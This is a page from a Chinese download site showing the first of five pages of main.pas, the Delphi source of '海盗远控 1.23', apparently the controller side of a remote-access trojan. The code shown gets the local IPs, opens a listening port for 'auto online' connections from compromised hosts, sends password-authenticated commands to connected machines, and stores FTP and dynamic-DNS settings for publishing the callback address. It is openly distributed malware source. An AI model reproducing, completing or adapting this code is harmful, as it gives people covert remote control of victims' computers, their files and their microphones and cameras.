⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 main.pas

📁 海盗远控1.23源代码
💻 PAS
📖 第 1 页 / 共 5 页
字号:
🔍
12345 
  wsastartup($101, GInitData);
  Temp := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  while pptr^[I] <> nil do begin
    Temp := Temp + StrPas(inet_ntoa(pptr^[I]^)) + ',';
    inc(i);
  end;
  Delete(Temp, Length(Temp), 1);
  try
    Viking.Caption := Viking.Translate('Caption','海盗远控 1.23') +'    '+ Temp;    //
  except
  end;
  wsacleanup;
end;

type
  TIPAddThread = class(TThread)
  public
    procedure Execute; override;
  end;

procedure TIPAddThread.Execute;
begin
  GetLocalIP;
  Terminate;
end;

//设置上线IP
procedure GetLocalIPtoHttp;
type
  TaPInAddr = array[0..255] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: array[0..63] of char;
  i: integer;
  GInitData: TWSADATA;
begin
  wsastartup($101, GInitData);
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if not assigned(phe) then
    exit;
  pptr := PaPInAddr(Phe^.h_addr_list);
  i := 0;
  try
    UpIpDate.IPAddEdit.Items.Clear;
    UpIpDate.XwComboBox.Items.Clear;
  except
  end;
  while pptr^[I] <> nil do begin
    try
      UpIpDate.IPAddEdit.Items.Add(StrPas(inet_ntoa(pptr^[I]^)) + ':'+InttoStr(Viking.AutoSxport));
      UpIpDate.XwComboBox.Items.Add(StrPas(inet_ntoa(pptr^[I]^)))
    except
    end;
    inc(i);
  end;
  try
    UpIpDate.IPAddEdit.ItemIndex := UpIpDate.IPAddEdit.Items.Count - 1;
    UpIpDate.XwComboBox.ItemIndex := UpIpDate.XwComboBox.Items.Count - 1;
    UpIpDate.IPAddEdit.Items.Add('0.0.0.0:' + InttoStr(Viking.AutoSxport));
    UpIpDate.XwComboBox.Items.Add('0.0.0.0');
  except
  end;
  wsacleanup;
end;


type
  TAddIPThread = class(TThread)
  public
    procedure Execute; override;
  end;

procedure TAddIPThread.Execute;
begin
  GetLocalIPtoHttp;
  Terminate;
end;

{如何创建目录树}
procedure MakeDir(Dir: string);
  function Last(What: string; Where: string): Integer;
  var
    Ind: Integer;
  begin
    Result := 0;
    for Ind := (Length(Where) - Length(What) + 1) downto 1 do
      if Copy(Where, Ind, Length(What)) = What then begin
        Result := Ind;
        Break;
      end;
  end;
var
  PrevDir: string;
  Ind: Integer;
begin
  if Copy(Dir, 2, 1) <> ':' then
    if Copy(Dir, 3, 1) <> '\' then
      if Copy(Dir, 1, 1) = '\' then
        Dir := 'C:' + Dir
      else
        Dir := 'C:\' + Dir
    else
      Dir := 'C:' + Dir; if not DirectoryExists(Dir) then begin
     {如果目录不存在,取得上一个目录名}
    Ind := Last('\', Dir); {最后一个 '\'的位置}
    PrevDir := Copy(Dir, 1, Ind - 1); {上一个目录}
     {如果上一个目录不存在}
     {传递给此递归过程}
    if not DirectoryExists(PrevDir) then
      MakeDir(PrevDir);
     {在这里,上一个目录必须存在
      创建(in "Dir"; variable)目录}
    CreateDir(Dir);
  end;
end;

{搜索文件夹和文件}
function FindFile(Path: string): string;
var
  Sr: TSearchRec;
  CommaList: TStringList;
  s: string;
  dt: TDateTime;
begin
  commalist := Tstringlist.Create;
  try
    Findfirst(path + '*.*', faAnyFile, sr);  //寻找目标目录下的第一个目录,faAnyFile代表任何目录
    if ((Sr.Attr and faDirectory) > 0) and (Sr.Name <> '.') then  //判断是目录还是文件
    begin
      dt := FileDateToDateTime(sr.Time);  // 将dos的日期格式转换为delphi的日期格式
      s := FormatDateTime('yyyy-mm-dd hh:nn', dt);  //  函数返回表达式,此表达式已被格式化为日期或时
      commalist.add('*' + s + sr.name);  //第一个文件的文件日期和文件名
    end;
    while findnext(sr) = 0 do   //用来找出下一个文件或目录
    begin
      if ((Sr.Attr and faDirectory) > 0) and (Sr.Name <> '..') then
      begin
        dt := FileDateToDateTime(sr.Time);
        s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
        commalist.add('*' + s + sr.name);
      end;
    end;
    FindClose(sr);  //用来关闭查询
    FindFirst(path + '*.*', faArchive + faReadOnly + faHidden + faSysFile, Sr); //寻找目标目录下的第一个文件
    if Sr.Attr <> faDirectory then     //判断是目录还是文件
    begin
      dt := FileDateToDateTime(sr.Time);
      s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
      commalist.add('\' + s + Format('%.0n', [sr.Size / 1]) + '|' + sr.name);
    end; //Inttostr(
    while findnext(sr) = 0 do
    begin
      if (sr.Attr <> faDirectory) then
      begin
        dt := FileDateToDateTime(sr.Time);
        s := FormatDateTime('yyyy-mm-dd hh:nn', dt);
        commalist.add('\' + s + Format('%.0n', [sr.Size / 1]) + '|' + sr.name);
      end;
    end;
    FindClose(Sr);
  except
  end;
  Result := commalist.Text;
  commalist.Free;
end;


procedure TViKing.FormCreate(Sender: TObject);
var
  IPFile: string;
begin
  LoadINIFile; {读取设置文件}

  if not Soundkarte then  //检测本机声卡
  begin
    AddLineStr(Translate('Sound1','本机没有可用的声卡设备,您将无法使用语音功能!'), 2, False);
  end;

  SortedColumn := -1;

  MyFirstBmp := TMemoryStream.Create;

  IPFile := ExtractFilePath(Paramstr(0)) + 'ipdata\QQwry.dat';

  if Fileexists(IPFile) then
  QQWry := TQQWry.Create(IPFile) else
  AddLineStr(Translate('String1','找不到QQwry.dat文件，程序将不能显示上线主机的地理位置!'), 2, False);

  ListView2.Columns.Items[0].ImageIndex := 0; //文件传输列表
  FDoubleBuffer := TBitmap.Create;
  Videobmp:= TBitmap.Create;

  Animate1.Align := alClient;

  RsltStream := TmemoryStream.Create;
  SplashForm.Gauge1.Progress:=20;
  Application.ProcessMessages;
  TIPAddThread.Create(false); {得到本机IP的线程}
end;

procedure TViKing.FormShow(Sender: TObject);
begin
  try
    ServerSocket1.Active:=false;
    ServerSocket1.Port:=AutoSxport;
    ServerSocket1.Active:=True;
    AddLineStr(Translate('String1','当前自动上线端口：') + inttostr(AutoSxport) , 1, False);
  except
    AddLineStr(Translate('String1','打开自动上线端口失败！你不能使用自动上线功能!'), 2, False);
  end;
  WebBrowser1.Navigate('http://chenggao.5d6d.com');
  try
    PageControl1.ActivePage := TabSheet1;  //文件管理栏
    TreeView1.FullCollapse;
    Gauge1.Width := TreeView1.Width;
  except
  end;
end;

procedure TViKing.FormResize(Sender: TObject);
begin
  MenuBar.Width := ViKing.Width;
  Gongjutool.Width := ViKing.Width;
  Lgxxtool.Width := ViKing.Width;
end;

procedure TViKing.FormDestroy(Sender: TObject);
begin
  try
    FDoubleBuffer.Free;
    MyFirstBmp.Free;
    RsltStream.Free;
    Videobmp.Free;
  except
  end;
end;


procedure TViKing.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
  TempS:String;
  j:integer;
begin
  ISClientClose:=True;
  try
    TempS:=Head+EOL+LjPassword.Text +EOL+'886'+EOL;
    for j := 0 to OnlineCount - 1 do {判断是哪一个会话}
    if (OnlineServer[j].Online) then  //判断是否在线
    begin
      SendStreamToServer(OnlineServer[j].AThread,TempS);//发送客户端下线信息
    end;
except
end;
end;

//读取设置信息
procedure TViking.LoadINIFile;
var
  Temp: string;
  ListFileType: string;
begin
  INIFileName := ExtractFilePath(Paramstr(0)) + 'Operate.ini'; //设置信息文件路径
  Myinifile := Tinifile.Create(INIFileName);
  try
    if FileExists(INIFileName) then
    begin      //如果有设置文件
      Application.ProcessMessages;
                                           {讯取文件视图方式}
      ListFileType := Myinifile.Readstring('Operation', 'ViewStyle', 'vsReport');
      if ListFileType = 'vsIcon' then N16Click(self);
      if ListFileType = 'vsSmallIcon' then N17Click(self);
      if ListFileType = 'vsList' then N18Click(self);
      if ListFileType = 'vsReport' then N19Click(self);

      Temp := Myinifile.Readstring('Operation', 'OnSound', '0');  {语音提示}
      if Temp <> '0' then
      begin
        isSound := True;
        OnSLine := Myinifile.Readstring('Operation', 'Sound1', '');
        OffSLine := Myinifile.Readstring('Operation', 'Sound2', '');
        UpIPok := Myinifile.Readstring('Operation', 'Sound3', '');
        FileSup := Myinifile.Readstring('Operation', 'Sound4', '');
        FileSDown := Myinifile.Readstring('Operation', 'Sound5', '');
      end;

      Temp := Myinifile.Readstring('Operation', 'SkinFile', ''); {读取皮肤文件}
      if FileExists(Temp) then begin
        spSkinData1.LoadFromFile(Temp);
      end;

      AutoSxport := Strtoint(Myinifile.Readstring('LocalPort', 'AutoSxport', '800'));//上线端口
      SportEdit.Text:=inttostr(AutoSxport);

      try
        Timer1.Interval:=Strtoint(Myinifile.Readstring('Operation', 'TimerOut', '20000'));
      except
        Timer1.Interval:=20000;
      end;

      LjPassword.Text:=DeCryptStr(Myinifile.Readstring('Operation', 'PassWord', ''),'HAIDAO');
      Exit;
    end;
  except
  end;
 //如果没有设置文件
  Application.ProcessMessages;
  try
    {-----------------------------------------}
    Myinifile.writestring('Operation', 'ViewStyle', 'vsReport'); {文件列表视图}
    Myinifile.writestring('Operation', 'SkinFile', ''); {设置皮肤}
    Myinifile.writestring('Operation', 'OnSound', '1'); {是否打开语音提示}
    Myinifile.writestring('Operation', 'Sound1', ExtractFilePath(ParamStr(0)) + 'sound\login.wav');
    Myinifile.writestring('Operation', 'Sound2', ExtractFilePath(ParamStr(0)) + 'sound\offline.wav');
    Myinifile.writestring('Operation', 'Sound3', ExtractFilePath(ParamStr(0)) + 'sound\setting.wav');
    Myinifile.writestring('Operation', 'Sound4', ExtractFilePath(ParamStr(0)) + 'sound\upfile.wav');
    Myinifile.writestring('Operation', 'Sound5', ExtractFilePath(ParamStr(0)) + 'sound\downfile.wav');
    Myinifile.writestring('Operation', 'TimerOut', '20000');

    isSound := True;
    OnSLine := ExtractFilePath(ParamStr(0)) + 'sound\login.wav';
    OffSLine := ExtractFilePath(ParamStr(0)) + 'sound\offline.wav';
    UpIPok := ExtractFilePath(ParamStr(0)) + 'sound\setting.wav';
    FileSup := ExtractFilePath(ParamStr(0)) + 'sound\upfile.wav';
    FileSDown := ExtractFilePath(ParamStr(0)) + 'sound\downfile.wav';
    {-----------------------------------------}
    Myinifile.writestring('LocalPort', 'AutoSxport', '800'); {自动上线端口}
    SportEdit.Text :='800';
    Myinifile.writestring('LocalPort', 'PassWord', '');    //上线密码
  {-----------------------------------------}
    Myinifile.writestring('FTP', 'AutoSave', '1'); {自动保存FTP信息}
    Myinifile.writestring('FTP', 'FTPServer', '');
    Myinifile.writestring('FTP', 'FTPport', '21');
    Myinifile.writestring('FTP', 'FTPUser', '');
    Myinifile.writestring('FTP', 'Password', '');
    Myinifile.writestring('FTP', 'IpFile', 'ip.jpg');
    {-----------------------------------------}
    Myinifile.writestring('DNSYuming', 'AutoSave', '1'); {自动保存动态域名信息}
    Myinifile.writestring('DNSYuming', 'Dns', '');
    Myinifile.writestring('DNSYuming', 'User', '');
    Myinifile.writestring('DNSYuming', 'Password', '');
    {-----------------------------------------}
  except
  end;
  AutoSxport := 800;
end;


//信息提示函数
procedure TViking.AddLineStr(LineStr: string; IsColor: integer; isBold: Bool);
begin
  if ISClientClose then Exit;
  //LineStr:=DateTimeToStr(Now) + ' - ' +LineStr;
  try
    with CmdRichEdit do
    begin
      Lines.Insert(0,LineStr);
      SelStart:=0;
      SelLength:=Length(LineStr);
      if IsColor = 0 then SelAttributes.Color := clGreen;
      if IsColor = 1 then SelAttributes.Color := clBlue;
      if IsColor = 2 then SelAttributes.Color := clRed;
      if IsColor = 3 then
      begin
        Randomize;
        SelAttributes.Color := RGB(Random(255), Random(255), Random(255));
      end;
      if isBold then SelAttributes.Style := [fsBold];
      SelLength:=0;
    end;
  except
    try
      CmdRichEdit.Lines.Clear;
      CmdRichEdit.Lines.Insert(0,LineStr);
    except
    end;
  end;
end;

//自动上线发送命令
procedure TViKing.ZhuDongCmdSend(Miling, Qita: string;isbreak:Boolean);
var
  TempS: string;
begin
  if not Computerorserver then
  begin
    HotKeySpy1.HotKeys[1].Enabled := True;
    ViKing.Enabled := isbreak;
    try
      TempS := Head + EoL + LjPassword.text + EoL + Miling + EoL + Qita+ EoL;
      if not SendStreamToServer(LianlineThread,TempS) then
      begin
        ViKing.Enabled := True;
        AddLineStr(Translate('ZhuanTai8','向主机:') + Treeview1.Selected.Text + Translate('ZhuanTai9','发送数据出错！连接中断.'), 2, False);
        Animate1.Active := False;
        Animate1.Visible := False;
        HotKeySpy1.HotKeys[1].Enabled := False;
        Exit;
      end;
      AddLineStr(Translate('ZhuanTai51','命令发送完毕!请等待主机回应.'), 0, False);
    except
      ViKing.Enabled := True;
      HotKeySpy1.HotKeys[1].Enabled := False;
      AddLineStr(Translate('ZhuanTai8','向主机:') + Treeview1.Selected.Text + Translate('ZhuanTai9','发送数据出错！连接中断.'), 2, False);
    end;
  end else
  begin
    ViKing.Enabled := True;
    HotKeySpy1.HotKeys[1].Enabled := False;
  end;
end;

function TViKing.SendStreamToServer(AThread:TIdPeerThread;Cmd:String): Boolean;
var
  MyStream: TMemoryStream;
  i:integer;
begin
12345

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -